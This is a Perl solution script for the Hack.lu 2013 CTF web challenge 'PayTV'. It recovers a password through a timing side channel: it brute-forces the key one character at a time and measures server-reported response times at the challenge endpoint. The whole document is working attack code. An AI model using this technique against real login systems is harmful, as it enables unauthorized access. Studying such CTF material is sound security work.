Hacklu-2013 CTF - PayTV-200

paytv.pl

#!/usr/bin/perl -w
# Pay TV (Category: Web) Author(s): qll, tangled
# These robo-friends were shocked to see that they had to pay to watch the news
# broadcast about the “Oktoberfest”. Can you help them?
# Here is your challenge: https://ctf.fluxfingers.net:1316/

#use strict;
use warnings;
use LWP::UserAgent;
use Data::Dumper;

my @chars=( 'A'..'Z', '0'..'9' );
my $KEEP_GUESSING=1;
my $password="";

sub get_json($%)
{
        my($url,%forms)=@_;
        my $ua=LWP::UserAgent->new( ssl_opts => { verify_hostname => 0 });
        my($content);
        
        $forms{debug}="";
        $content=$ua->post($url, Content=>\%forms);
        return $content->decoded_content if($content->is_success);
        print Dumper $content;
        return(undef);
}

print STDERR "Password: ";
do{
        my($biggest_t,$b_len);
        $biggest_t=0.0;
        $b_len=(length($password)+1)/10;

        foreach my $c(@chars){
                my $json=get_json("https://ctf.fluxfingers.net:1316/gimmetv", ('key' => $password.$c) );
                if($json=~m/^\{/){
                        my($s_time, $e_time, $resp, $success)=$json=~m/(?:".+?":\s*"*([^,\}"]+)"*)+/gi;
                        my $t_tmp=($e_time-$s_time);
                        
                        $biggest_t = $t_tmp if($biggest_t <= $t_tmp);
                        #printf("%s -> %lf\n", $c, $t_tmp);
                        if($biggest_t >= $b_len){
                                $password.=$c;
                                print STDERR $c;
                                last;
                        }
                        $KEEP_GUESSING-- if($c eq "9");
                }
        }
}while($KEEP_GUESSING);
print $/;
exit 0